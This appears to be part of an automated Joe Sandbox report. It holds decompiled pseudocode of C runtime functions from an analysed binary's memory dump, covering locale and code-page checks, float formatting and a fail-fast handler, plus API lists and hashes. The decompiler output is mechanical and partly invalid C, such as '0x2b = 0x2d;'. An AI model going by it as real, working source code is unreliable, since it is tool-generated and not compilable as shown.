												L32:
												_t119 = _t119 + 0x100;
												if(_t125 != 0xfde9) {
													E001C4F5E(_t98, _t125, _t119, 0x10, 0xa);
													goto L36;
												} else {
													_push(5);
													_t72 = E001BE13A(_t98, _t119, 0x10, L"utf8");
													_t132 = _t132 + 0x10;
													if(_t72 != 0) {
														goto L39;
													} else {
														goto L36;
													}
												}
											} else {
												goto L31;
											}
										}
									}
								}
							}
						}
					}
				}
			}

0x001c0f59
0x001c0f5a
0x001c0f5c
0x001c0f5e
0x001c0f61
0x001c0f68
0x001c0f6a
0x001c0f6d
0x001c0f6d
0x001c0f70
0x001c0f70
0x001c0f76
0x001c0f79
0x001c0f7c
0x001c0f7c
0x001c0f7f
0x001c0f82
0x001c0f84
0x001c0f8a
0x001c0f8c
0x001c0f91
0x001c0f9b
0x001c0fa0
0x001c0fa2
0x001c0fa5
0x001c0fa5
0x001c0fa7
0x001c0fab
0x001c0ff4
0x00000000
0x001c0fad
0x001c0fb2
0x001c0fbb
0x001c0fb4
0x001c0fb4
0x001c0fb4
0x001c0fc6
0x001c0fd0
0x001c0fd5
0x001c0fda
0x001c0fe0
0x001c0fe4
0x001c0fed
0x001c0fe6
0x001c0fe6
0x001c0fe6
0x001c0ff9
0x001c0ff9
0x001c0fda
0x001c0fc6
0x001c0fff
0x001c113b
0x001c113b
0x00000000
0x001c1005
0x001c1005
0x001c100e
0x001c101f
0x001c1015
0x001c1015
0x001c1015
0x001c1026
0x001c102a
0x00000000
0x001c104e
0x001c104e
0x001c1053
0x001c1055
0x001c1055
0x001c1057
0x001c105c
0x001c1136
0x001c1138
0x001c113d
0x001c1141
0x001c1062
0x001c1062
0x001c1065
0x001c1065
0x001c106d
0x001c1070
0x001c1070
0x001c1073
0x001c1073
0x001c1076
0x001c1079
0x001c1083
0x001c108d
0x001c1092
0x001c1097
0x001c1142
0x001c1144
0x001c1145
0x001c1146
0x001c1147
0x001c1148
0x001c1149
0x001c114e
0x001c1152
0x001c115a
0x001c1161
0x001c1164
0x001c1165
0x001c1166
0x001c1169
0x001c116a
0x001c116f
0x001c1177
0x001c1186
0x001c1192
0x001c11a3
0x001c11ab
0x001c11c5
0x001c11d2
0x001c11d5
0x001c11d8
0x001c11d8
0x001c11e2
0x001c11ad
0x001c11ad
0x001c11af
0x001c11af
0x001c11e8
0x001c11e9
0x001c11ec
0x001c11f3
0x001c109d
0x001c10ad
0x00000000
0x001c10b3
0x001c10b5
0x001c10b5
0x001c10c1
0x001c10cf
0x00000000
0x001c10d1
0x001c10d4
0x001c10da
0x001c10dd
0x001c10ed
0x001c10f2
0x001c1100
0x00000000
0x00000000
0x00000000
0x00000000
0x001c10df
0x001c10e2
0x001c10e8
0x001c10eb
0x001c1102
0x001c1102
0x001c110e
0x001c112e
0x00000000
0x001c1110
0x001c1110
0x001c111a
0x001c111f
0x001c1124
0x00000000
0x001c1126
0x00000000
0x001c1126
0x001c1124
0x00000000
0x00000000
0x00000000
0x001c10eb
0x001c10dd
0x001c10cf
0x001c10ad
0x001c1097
0x001c105c
0x001c102a

APIs

Part of subcall function 001B782A: GetLastError.KERNEL32(?,00000008,001BDC99), ref: 001B782E
Part of subcall function 001B782A: SetLastError.KERNEL32(00000000,001D43C0,00000024,001B2DC9), ref: 001B78D0

GetACP.KERNEL32(?,?,?,?,?,?,001B4778,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 001C1015
IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,001B4778,?,?,?,00000055,?,-00000050,?,?), ref: 001C1040
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,-00000050,00000000,000000D0), ref: 001C11A3

Strings

utf8, xrefs: 001C1112

Memory Dump Source

Source File: 00000000.00000002.347566264.00000000001A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001A0000, based on PE: true

Associated: 00000000.00000002.347556970.00000000001A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347669983.00000000001C7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347813163.00000000001D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347876847.0000000000204000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_file.jbxd

Similarity

API ID: ErrorLast$CodeInfoLocalePageValid
String ID: utf8
API String ID: 607553120-905460609
Opcode ID: ac3747eb249479c3d8fea8441e77ccefde5441bccb867b529c85a388b5b42a4d
Instruction ID: 39e38312f7272d4ba6496f95cffb3535cf7457ac03943b0efe3498ea22f4786a
Opcode Fuzzy Hash: ac3747eb249479c3d8fea8441e77ccefde5441bccb867b529c85a388b5b42a4d
Instruction Fuzzy Hash: 5C71D571640206BADB25AB75CC46FAA73A8EF79700F18442DF605D7182FB74ED81C7A1

Uniqueness

Uniqueness Score: -1.00%

Function 001B6638 Relevance: 6.3, APIs: 4, Instructions: 337
COMMONCrypto

Download Yara Rule

C-Code - Quality: 82%

			E001B6638(signed int* _a4, signed int _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, signed int _a24, signed int _a28, intOrPtr _a32, intOrPtr _a36, intOrPtr _a40) {
				signed int _v5;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				unsigned int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v48;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed char _t87;
				void* _t93;
				intOrPtr _t94;
				signed int _t98;
				signed int _t100;
				signed int _t101;
				signed int _t104;
				signed int _t105;
				signed int _t106;
				signed int _t111;
				void* _t113;
				signed int _t114;
				void* _t115;
				void* _t118;
				void* _t120;
				void* _t122;
				signed int* _t124;
				void* _t127;
				signed int _t129;
				signed int _t131;
				signed int _t136;
				signed int* _t140;
				signed int _t141;
				signed int _t146;
				signed int _t147;
				signed int _t149;
				signed int _t154;
				signed int _t155;
				signed int _t156;
				signed int _t157;
				void* _t161;
				unsigned int _t162;
				intOrPtr _t171;
				signed int _t173;
				signed int* _t174;
				signed int _t176;
				signed int _t177;
				signed int _t178;
				signed int _t183;
				signed int _t184;
				signed int _t185;
				signed int _t186;
				signed int _t188;
				intOrPtr _t189;
				void* _t190;

				_t186 = _a24;
				if(_t186 < 0) {
					_t186 = 0;
				}
				_t183 = _a8;
				_t3 = _t186 + 0xb; // 0xb
				 *_t183 = 0;
				if(_a12 > _t3) {
					_t140 = _a4;
					_t147 = _t140[1];
					_t173 =  *_t140;
					__eflags = (_t147 >> 0x00000014 & 0x000007ff) - 0x7ff;
					if(__eflags != 0) {
						__eflags = _t147;
						if(__eflags > 0) {
							L13:
							_t20 = _t183 + 1; // 0x2
							_t174 = _t20;
							_t87 = _a28 ^ 0x00000001;
							_v20 = 0x3ff;
							_v5 = _t87;
							_v16 = _t174;
							_v48 = ((_t87 & 0x000000ff) << 5) + 7;
							__eflags = _t147 & 0x7ff00000;
							_t93 = 0x30;
							if((_t147 & 0x7ff00000) != 0) {
								 *_t183 = 0x31;
								L18:
								_t149 = 0;
								__eflags = 0;
								L19:
								_t28 =  &(_t174[0]); // 0x2
								_t184 = _t28;
								__eflags = _t186;
								if(_t186 != 0) {
									_t94 = _a40;
									__eflags =  *((char*)(_t94 + 0x14));
									if( *((char*)(_t94 + 0x14)) == 0) {
										E001AF970(_t94);
										_t94 = _a40;
										_t174 = _v16;
									}
									_t149 = 0;
									__eflags = 0;
									_t98 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t94 + 0xc)) + 0x88))))));
								} else {
									_t98 = _t149;
								}
								 *_t174 = _t98;
								_t100 = _t140[1] & 0x000fffff;
								__eflags = _t100;
								_v40 = _t100;
								if(_t100 > 0) {
									L26:
									_t175 = _t149;
									_t150 = 0xf0000;
									_t101 = 0x30;
									_v12 = _t101;
									_v24 = _t149;
									_v28 = 0xf0000;
									while(1) {
										_v32 = _v12 & 0x0000ffff;
										_t104 = _t184;
										_v36 = _t184;
										_v40 = _t186;
										__eflags = _t186;
										if(__eflags <= 0) {
											break;
										}
										_t127 = E001C6190( *_t140 & _t175, _v32 & 0x0000ffff, _t140[1] & _t150 & 0x000fffff);
										_t161 = 0x30;
										_t129 = _t127 + _t161 & 0x0000ffff;
										__eflags = _t129 - 0x39;
										if(_t129 > 0x39) {
											_t129 = _t129 + _v48;
											__eflags = _t129;
										}
										_t162 = _v28;
										_t175 = (_t162 << 0x00000020 | _v24) >> 4;
										 *_t184 = _t129;
										_t184 = _t184 + 1;
										_t150 = _t162 >> 4;
										_t131 = _v12 - 4;
										_t186 = _t186 - 1;
										_v24 = (_t162 << 0x00000020 | _v24) >> 4;
										_v28 = _t162 >> 4;
										_v12 = _t131;
										__eflags = _t131;
										if(_t131 >= 0) {
											continue;
										} else {
											goto L43;
										}
									}
									_t186 = _v40;
									_t184 = _t104;
									_t105 = E001B6E69(__eflags, _t140, _t175, _t150, _v32, _a36);
									_t190 = _t190 + 0x14;
									__eflags = _t105;
									if(_t105 == 0) {
										goto L43;
									}
									_t184 = _v36;
									_t146 = 0x30;
									_t124 = _t184 - 1;
									while(1) {
										_t156 =  *_t124;
										__eflags = _t156 - 0x66;
										if(_t156 == 0x66) {
											goto L36;
										}
										__eflags = _t156 - 0x46;
										if(_t156 != 0x46) {
											_t140 = _a4;
											__eflags = _t124 - _v16;
											if(_t124 == _v16) {
												_t65 = _t124 - 1;
												 *_t65 =  *(_t124 - 1) + 1;
												__eflags =  *_t65;
											} else {
												__eflags = _t156 - 0x39;
												if(_t156 != 0x39) {
													_t157 = _t156 + 1;
													__eflags = _t157;
												} else {
													_t157 = _v48 + 0x3a;
												}
												 *_t124 = _t157;
											}
											goto L43;
										}
										L36:
										 *_t124 = _t146;
										_t124 = _t124 - 1;
									}
								} else {
									__eflags =  *_t140 - _t149;
									if( *_t140 <= _t149) {
										L43:
										__eflags = _t186;
										if(_t186 > 0) {
											_push(_t186);
											_t122 = 0x30;
											_push(_t122);
											_push(_t184);
											E001AAF60(_t184);
											_t184 = _t184 + _t186;
											__eflags = _t184;
										}
										_t106 = _v16;
										__eflags =  *_t106;
										if( *_t106 == 0) {
											_t184 = _t106;
										}
										 *_t184 = (_v5 << 5) + 0x50;
										_t176 = _t140[1];
										_t111 = E001C6190( *_t140, 0x34, _t176);
										_t141 = 0;
										_t188 = _t176 & 0;
										_t70 = _t184 + 2; // 0x2
										_t177 = _t70;
										_t154 = (_t111 & 0x000007ff) - _v20;
										__eflags = _t154;
										_v48 = _t177;
										asm("sbb esi, ebx");
										if(__eflags < 0) {
											L51:
											_t154 =  ~_t154;
											asm("adc esi, ebx");
											_t188 =  ~_t188;
											0x2b = 0x2d;
											goto L52;
										} else {
											if(__eflags > 0) {
												L50:
												L52:
												 *(_t184 + 1) = 0x2b;
												_t185 = _t177;
												_t113 = 0x30;
												 *_t177 = _t113;
												__eflags = _t188 - _t141;
												if(__eflags < 0) {
													L61:
													_t178 = 0x30;
													L62:
													__eflags = _t188 - _t141;
													if(__eflags < 0) {
														L66:
														_t155 = _t154 + _t178;
														__eflags = _t155;
														 *_t185 = _t155;
														 *(_t185 + 1) = _t141;
														L67:
														_t114 = 0;
														__eflags = 0;
														L68:
														return _t114;
													}
													if(__eflags > 0) {
														L65:
														_push(_t141);
														_push(_t141);
														_push(0xa);
														_push(_t188);
														_push(_t154);
														_t115 = E001C61B0();
														_v48 = _t178;
														_t178 = 0x30;
														 *_t185 = _t115 + _t178;
														_t185 = _t185 + 1;
														_t141 = 0;
														__eflags = 0;
														goto L66;
													}
													__eflags = _t154 - 0xa;
													if(_t154 < 0xa) {
														goto L66;
													}
													goto L65;
												}
												if(__eflags > 0) {
													L55:
													_push(_t141);
													_push(_t141);
													_push(0x3e8);
													_push(_t188);
													_push(_t154);
													_t118 = E001C61B0();
													_t188 = _t141;
													_v40 = _t177;
													_t177 = _v48;
													_t141 = 0;
													_t185 = _t177 + 1;
													 *_t177 = _t118 + 0x30;
													__eflags = _t185 - _t177;
													if(_t185 != _t177) {
														L59:
														_push(_t141);
														_push(_t141);
														_push(0x64);
														_push(_t188);
														_push(_t154);
														_t120 = E001C61B0();
														_t188 = _t141;
														_v40 = _t177;
														_t141 = 0;
														_t178 = 0x30;
														 *_t185 = _t120 + _t178;
														_t185 = _t185 + 1;
														__eflags = _t185 - _v48;
														if(_t185 != _v48) {
															goto L65;
														}
														goto L62;
													}
													L56:
													__eflags = _t188 - _t141;
													if(__eflags < 0) {
														goto L61;
													}
													if(__eflags > 0) {
														goto L59;
													}
													__eflags = _t154 - 0x64;
													if(_t154 < 0x64) {
														goto L61;
													}
													goto L59;
												}
												__eflags = _t154 - 0x3e8;
												if(_t154 < 0x3e8) {
													goto L56;
												}
												goto L55;
											}
											__eflags = _t154;
											if(_t154 < 0) {
												goto L51;
											}
											goto L50;
										}
									}
									goto L26;
								}
							}
							 *_t183 = _t93;
							_t149 =  *_t140 | _t140[1] & 0x000fffff;
							__eflags = _t149;
							if(_t149 != 0) {
								_v20 = 0x3fe;
								goto L18;
							}
							_v20 = _t149;
							goto L19;
						}
						if(__eflags < 0) {
							L12:
							 *_t183 = 0x2d;
							_t183 = _t183 + 1;
							__eflags = _t183;
							_t147 = _t140[1];
							goto L13;
						}
						__eflags = _t173;
						if(_t173 >= 0) {
							goto L13;
						}
						goto L12;
					}
					_t114 = E001B6964(_t140, _t147, _t173, __eflags, _t140, _t183, _a12, _a16, _a20, _t186, 0, _a32, _a36, _a40);
					__eflags = _t114;
					if(_t114 == 0) {
						_t136 = E001C63D0(_t183, 0x65);
						__eflags = _t136;
						if(_t136 != 0) {
							 *_t136 = ((_a28 ^ 0x00000001) << 5) + 0x50;
							 *((char*)(_t136 + 3)) = 0;
						}
						goto L67;
					}
					 *_t183 = 0;
					goto L68;
				}
				_t171 = _a40;
				_t189 = 0x22;
				 *((char*)(_t171 + 0x1c)) = 1;
				 *((intOrPtr*)(_t171 + 0x18)) = _t189;
				E001AFDC6(_t183, _t189, 0, 0, 0, 0, 0, _t171);
				return _t189;
			}

0x001b6643
0x001b6649
0x001b664b
0x001b664b
0x001b664d
0x001b6650
0x001b6653
0x001b6658
0x001b667d
0x001b6680
0x001b6685
0x001b668f
0x001b6694
0x001b66ed
0x001b66ef
0x001b66fe
0x001b6701
0x001b6701
0x001b6704
0x001b6706
0x001b670d
0x001b671f
0x001b6722
0x001b6727
0x001b672b
0x001b672c
0x001b674c
0x001b674f
0x001b674f
0x001b674f
0x001b6751
0x001b6751
0x001b6751
0x001b6754
0x001b6756
0x001b675c
0x001b675f
0x001b6763
0x001b6767
0x001b676c
0x001b676f
0x001b676f
0x001b6775
0x001b6775
0x001b677f
0x001b6758
0x001b6758
0x001b6758
0x001b6781
0x001b6786
0x001b6786
0x001b678b
0x001b678e
0x001b6798
0x001b679a
0x001b679c
0x001b67a1
0x001b67a2
0x001b67a5
0x001b67a8
0x001b67ab
0x001b67b1
0x001b67b4
0x001b67b6
0x001b67b9
0x001b67bc
0x001b67be
0x00000000
0x00000000
0x001b67d5
0x001b67dc
0x001b67e0
0x001b67e3
0x001b67e6
0x001b67e8
0x001b67e8
0x001b67e8
0x001b67ee
0x001b67f1
0x001b67f5
0x001b67f7
0x001b67fb
0x001b67fe
0x001b6801
0x001b6802
0x001b6805
0x001b6808
0x001b680b
0x001b680e
0x00000000
0x001b6810
0x00000000
0x001b6810
0x001b680e
0x001b6815
0x001b6818
0x001b6820
0x001b6825
0x001b6828
0x001b682a
0x00000000
0x00000000
0x001b682c
0x001b6831
0x001b6832
0x001b6835
0x001b6835
0x001b6837
0x001b683a
0x00000000
0x00000000
0x001b683c
0x001b683f
0x001b6846
0x001b6849
0x001b684c
0x001b6861
0x001b6861
0x001b6861
0x001b684e
0x001b684e
0x001b6851
0x001b685b
0x001b685b
0x001b6853
0x001b6856
0x001b6856
0x001b685d
0x001b685d
0x00000000
0x001b684c
0x001b6841
0x001b6841
0x001b6843
0x001b6843
0x001b6790
0x001b6790
0x001b6792
0x001b6864
0x001b6864
0x001b6866
0x001b6868
0x001b686b
0x001b686c
0x001b686d
0x001b686e
0x001b6876
0x001b6876
0x001b6876
0x001b6878
0x001b687b
0x001b687e
0x001b6880
0x001b6880
0x001b688c
0x001b6890
0x001b6893
0x001b6898
0x001b68a4
0x001b68a6
0x001b68a6
0x001b68a9
0x001b68a9
0x001b68ac
0x001b68af
0x001b68b1
0x001b68bd
0x001b68bd
0x001b68c1
0x001b68c3
0x001b68c5
0x00000000
0x001b68b3
0x001b68b3
0x001b68b9
0x001b68c6
0x001b68c6
0x001b68c9
0x001b68cd
0x001b68ce
0x001b68d0
0x001b68d2
0x001b692e
0x001b6930
0x001b6931
0x001b6931
0x001b6933
0x001b6956
0x001b6956
0x001b6956
0x001b6958
0x001b695a
0x001b695d
0x001b695d
0x001b695d
0x001b695f
0x00000000
0x001b695f
0x001b6935
0x001b693c
0x001b693c
0x001b693d
0x001b693e
0x001b6940
0x001b6941
0x001b6942
0x001b694b
0x001b694e
0x001b6951
0x001b6953
0x001b6954
0x001b6954
0x00000000
0x001b6954
0x001b6937
0x001b693a
0x00000000
0x00000000
0x00000000
0x001b693a
0x001b68d9
0x001b68df
0x001b68df
0x001b68e0
0x001b68e1
0x001b68e2
0x001b68e3
0x001b68e4
0x001b68e9
0x001b68ed
0x001b68f2
0x001b68f5
0x001b68f7
0x001b68fa
0x001b68fc
0x001b68fe
0x001b690b
0x001b690b
0x001b690c
0x001b690d
0x001b690f
0x001b6910
0x001b6911
0x001b6916
0x001b691c
0x001b691f
0x001b6921
0x001b6924
0x001b6926
0x001b6927
0x001b692a
0x00000000
0x00000000
0x00000000
0x001b692c
0x001b6900
0x001b6900
0x001b6902
0x00000000
0x00000000
0x001b6904
0x00000000
0x00000000
0x001b6906
0x001b6909
0x00000000
0x00000000
0x00000000
0x001b6909
0x001b68db
0x001b68dd
0x00000000
0x00000000
0x00000000
0x001b68dd
0x001b68b5
0x001b68b7
0x00000000
0x00000000
0x00000000
0x001b68b7
0x001b68b1
0x00000000
0x001b6792
0x001b678e
0x001b672e
0x001b673a
0x001b673a
0x001b673c
0x001b6743
0x00000000
0x001b6743
0x001b673e
0x00000000
0x001b673e
0x001b66f1
0x001b66f7
0x001b66f7
0x001b66fa
0x001b66fa
0x001b66fb
0x00000000
0x001b66fb
0x001b66f3
0x001b66f5
0x00000000
0x00000000
0x00000000
0x001b66f5
0x001b66ae
0x001b66b6
0x001b66b8
0x001b66c5
0x001b66cc
0x001b66ce
0x001b66e0
0x001b66e2
0x001b66e2
0x00000000
0x001b66ce
0x001b66ba
0x00000000
0x001b66ba
0x001b665a
0x001b665f
0x001b6666
0x001b666a
0x001b666d
0x00000000

APIs

_strrchr.LIBCMT ref: 001B66C5

Memory Dump Source

Source File: 00000000.00000002.347566264.00000000001A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001A0000, based on PE: true

Associated: 00000000.00000002.347556970.00000000001A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347669983.00000000001C7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347813163.00000000001D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347876847.0000000000204000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_file.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: eae636f9b5d76f85db2849b597a99c0f91ff14ec0b87707b7aed0c9803531ab0
Instruction ID: 8adf3feefd2d33567c54c3d5e3cd875813d604b00694c86d50481dd281973756
Opcode Fuzzy Hash: eae636f9b5d76f85db2849b597a99c0f91ff14ec0b87707b7aed0c9803531ab0
Instruction Fuzzy Hash: 71B14772D003459FDB158F68C891BFEBBA5EF79314F15816AE805AB242D739DD01CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 001AA085 Relevance: 6.1, APIs: 4, Instructions: 73
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E001AA085(intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, intOrPtr _a4) {
				char _v0;
				struct _EXCEPTION_POINTERS _v12;
				intOrPtr _v80;
				intOrPtr _v88;
				char _v92;
				intOrPtr _v608;
				intOrPtr _v612;
				void* _v616;
				intOrPtr _v620;
				char _v624;
				intOrPtr _v628;
				intOrPtr _v632;
				intOrPtr _v636;
				intOrPtr _v640;
				intOrPtr _v644;
				intOrPtr _v648;
				intOrPtr _v652;
				intOrPtr _v656;
				intOrPtr _v660;
				intOrPtr _v664;
				intOrPtr _v668;
				char _v808;
				char* _t39;
				long _t49;
				intOrPtr _t51;
				void* _t54;
				intOrPtr _t55;
				intOrPtr _t57;
				intOrPtr _t58;
				intOrPtr _t59;
				intOrPtr* _t60;

				_t59 = __esi;
				_t58 = __edi;
				_t57 = __edx;
				if(IsProcessorFeaturePresent(0x17) != 0) {
					_t55 = _a4;
					asm("int 0x29");
				}
				E001AA249(_t34);
				 *_t60 = 0x2cc;
				_v632 = E001AAF60(_t58,  &_v808, 0, 3);
				_v636 = _t55;
				_v640 = _t57;
				_v644 = _t51;
				_v648 = _t59;
				_v652 = _t58;
				_v608 = ss;
				_v620 = cs;
				_v656 = ds;
				_v660 = es;
				_v664 = fs;
				_v668 = gs;
				asm("pushfd");
				_pop( *_t15);
				_v624 = _v0;
				_t39 =  &_v0;
				_v612 = _t39;
				_v808 = 0x10001;
				_v628 =  *((intOrPtr*)(_t39 - 4));
				E001AAF60(_t58,  &_v92, 0, 0x50);
				_v92 = 0x40000015;
				_v88 = 1;
				_v80 = _v0;
				_t28 = IsDebuggerPresent() - 1; // -1
				_v12.ExceptionRecord =  &_v92;
				asm("sbb bl, bl");
				_v12.ContextRecord =  &_v808;
				_t54 =  ~_t28 + 1;
				SetUnhandledExceptionFilter(0);
				_t49 = UnhandledExceptionFilter( &_v12);
				if(_t49 == 0 && _t54 == 0) {
					_push(3);
					return E001AA249(_t49);
				}
				return _t49;
			}

0x001aa085
0x001aa085
0x001aa085
0x001aa099
0x001aa09b
0x001aa09e
0x001aa09e
0x001aa0a2
0x001aa0a7
0x001aa0bf
0x001aa0c5
0x001aa0cb
0x001aa0d1
0x001aa0d7
0x001aa0dd
0x001aa0e3
0x001aa0ea
0x001aa0f1
0x001aa0f8
0x001aa0ff
0x001aa106
0x001aa10d
0x001aa10e
0x001aa117
0x001aa11d
0x001aa120
0x001aa126
0x001aa135
0x001aa141
0x001aa14c
0x001aa153
0x001aa15a
0x001aa165
0x001aa16d
0x001aa176
0x001aa178
0x001aa17b
0x001aa17d
0x001aa187
0x001aa18f
0x001aa195
0x00000000
0x001aa19c
0x001aa19f

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 001AA091
IsDebuggerPresent.KERNEL32 ref: 001AA15D
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 001AA17D
UnhandledExceptionFilter.KERNEL32(?), ref: 001AA187

Memory Dump Source

Source File: 00000000.00000002.347566264.00000000001A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001A0000, based on PE: true

Associated: 00000000.00000002.347556970.00000000001A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347669983.00000000001C7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347813163.00000000001D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347876847.0000000000204000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_file.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 36a49876d4ffbbdcada507d8022d37883d41e8c712615ef72e0fe210006381ba
Instruction ID: b9dde61b64e1de876d6a349057b953002e454c02b3f856524e17452daed4c012
Opcode Fuzzy Hash: 36a49876d4ffbbdcada507d8022d37883d41e8c712615ef72e0fe210006381ba
Instruction Fuzzy Hash: E7314979D0521CDBDB10DFA0D989BCDBBB8AF09300F5040AAE40DAB290EB719A84CF05

Uniqueness

Uniqueness Score: -1.00%

Function 001C1367 Relevance: 4.7, APIs: 3, Instructions: 205
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E001C1367(void* __ecx, signed char __edx, intOrPtr _a4) {
				signed int _v8;
				short _v248;
				signed int _v252;
				intOrPtr _v256;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t50;
				int _t56;
				signed int _t58;
				void* _t74;
				intOrPtr _t80;
				void* _t89;
				void* _t92;
				intOrPtr _t93;
				void* _t94;
				signed int _t111;
				signed int _t115;
				intOrPtr* _t117;
				intOrPtr* _t122;
				signed int* _t124;
				int _t126;
				signed int _t127;
				void* _t128;
				void* _t140;

				_t121 = __edx;
				_t50 =  *0x1d5010; // 0x8121a627
				_v8 = _t50 ^ _t127;
				_t125 = _a4;
				_t94 = E001B782A(__ecx, __edx, _a4);
				_t124 =  *(E001B782A(__ecx, __edx, _a4) + 0x34c);
				_t126 = E001C168F(_t125);
				asm("sbb ecx, ecx");
				_t56 = GetLocaleInfoW(_t126, ( ~( *(_t94 + 0x64)) & 0xfffff005) + 0x1002,  &_v248, 0x78);
				_v252 = _v252 & 0x00000000;
				if(_t56 == 0) {
					L37:
					 *_t124 = 0;
					_t58 = 1;
					L38:
					return E001A9545(_t58, _t94, _v8 ^ _t127, _t121, _t124, _t126);
				}
				if(E001BDE74(_t124, _t126,  *((intOrPtr*)(_t94 + 0x54)),  &_v248) != 0) {
					L16:
					if(( *_t124 & 0x00000300) == 0x300) {
						L36:
						_t58 =  !( *_t124 >> 2) & 0x00000001;
						goto L38;
					}
					asm("sbb eax, eax");
					if(GetLocaleInfoW(_t126, ( ~( *(_t94 + 0x60)) & 0xfffff002) + 0x1001,  &_v248, 0x78) == 0) {
						goto L37;
					}
					_t74 = E001BDE74(_t124, _t126,  *((intOrPtr*)(_t94 + 0x50)),  &_v248);
					if(_t74 != 0) {
						if( *(_t94 + 0x60) == 0 &&  *((intOrPtr*)(_t94 + 0x5c)) != 0 && E001BDE74(_t124, _t126,  *((intOrPtr*)(_t94 + 0x50)),  &_v248) == 0) {
							_push(_t124);
							_t94 = 0;
							if(E001C17E9(_t126, 0) == 0) {
								goto L36;
							}
							 *_t124 =  *_t124 | 0x00000100;
							L34:
							if(_t140 == 0) {
								_t124[1] = _t126;
							}
						}
						goto L36;
					}
					_t111 =  *_t124 | 0x00000200;
					 *_t124 = _t111;
					if( *(_t94 + 0x60) == _t74) {
						if( *((intOrPtr*)(_t94 + 0x5c)) == _t74) {
							goto L20;
						}
						_t122 =  *((intOrPtr*)(_t94 + 0x50));
						_v256 = _t122 + 2;
						do {
							_t80 =  *_t122;
							_t122 = _t122 + 2;
						} while (_t80 != _v252);
						_t121 = _t122 - _v256 >> 1;
						if(_t122 - _v256 >> 1 !=  *((intOrPtr*)(_t94 + 0x5c))) {
							_t74 = 0;
							goto L20;
						}
						_push(_t124);
						if(E001C17E9(_t126, 1) == 0) {
							goto L36;
						}
						 *_t124 =  *_t124 | 0x00000100;
						_t74 = 0;
						L21:
						_t140 = _t124[1] - _t74;
						goto L34;
					}
					L20:
					 *_t124 = _t111 | 0x00000100;
					goto L21;
				}
				asm("sbb eax, eax");
				if(GetLocaleInfoW(_t126, ( ~( *(_t94 + 0x60)) & 0xfffff002) + 0x1001,  &_v248, 0x78) == 0) {
					goto L37;
				}
				_t89 = E001BDE74(_t124, _t126,  *((intOrPtr*)(_t94 + 0x50)),  &_v248);
				_t115 =  *_t124;
				if(_t89 != 0) {
					if((_t115 & 0x00000002) != 0) {
						goto L16;
					}
					if( *((intOrPtr*)(_t94 + 0x5c)) == 0) {
						L12:
						_t121 =  *_t124;
						if((_t121 & 0x00000001) != 0 || E001C17C4(_t126) == 0) {
							goto L16;
						} else {
							 *_t124 = _t121;
							goto L15;
						}
					}
					_t92 = E001C4FE0(_t94, _t124, _t126,  *((intOrPtr*)(_t94 + 0x50)),  &_v248,  *((intOrPtr*)(_t94 + 0x5c)));
					_t128 = _t128 + 0xc;
					if(_t92 != 0) {
						goto L12;
					}
					 *_t124 =  *_t124 | 0x00000002;
					_t124[2] = _t126;
					_t117 =  *((intOrPtr*)(_t94 + 0x50));
					_t121 = _t117 + 2;
					do {
						_t93 =  *_t117;
						_t117 = _t117 + 2;
					} while (_t93 != _v252);
					if(_t117 - _t121 >> 1 ==  *((intOrPtr*)(_t94 + 0x5c))) {
						_t124[1] = _t126;
					}
				} else {
					_t124[1] = _t126;
					 *_t124 = _t115 | 0x00000304;
					L15:
					_t124[2] = _t126;
				}
			}

0x001c1367
0x001c1372
0x001c1379
0x001c137e
0x001c1387
0x001c138f
0x001c139e
0x001c13aa
0x001c13bb
0x001c13c1
0x001c13ca
0x001c15a4
0x001c15a6
0x001c15a8
0x001c15a9
0x001c15b7
0x001c15b7
0x001c13e3
0x001c149e
0x001c14a9
0x001c1598
0x001c159f
0x00000000
0x001c159f
0x001c14bd
0x001c14d3
0x00000000
0x00000000
0x001c14e3
0x001c14ec
0x001c155d
0x001c1579
0x001c157a
0x001c1588
0x00000000
0x00000000
0x001c158a
0x001c1593
0x001c1593
0x001c1595
0x001c1595
0x001c1593
0x00000000
0x001c155d
0x001c14f0
0x001c14f6
0x001c14fb
0x001c1510
0x00000000
0x00000000
0x001c1512
0x001c1518
0x001c151e
0x001c151e
0x001c1521
0x001c1524
0x001c1533
0x001c1538
0x001c1554
0x00000000
0x001c1554
0x001c153a
0x001c1548
0x00000000
0x00000000
0x001c154a
0x001c1550
0x001c1505
0x001c1505
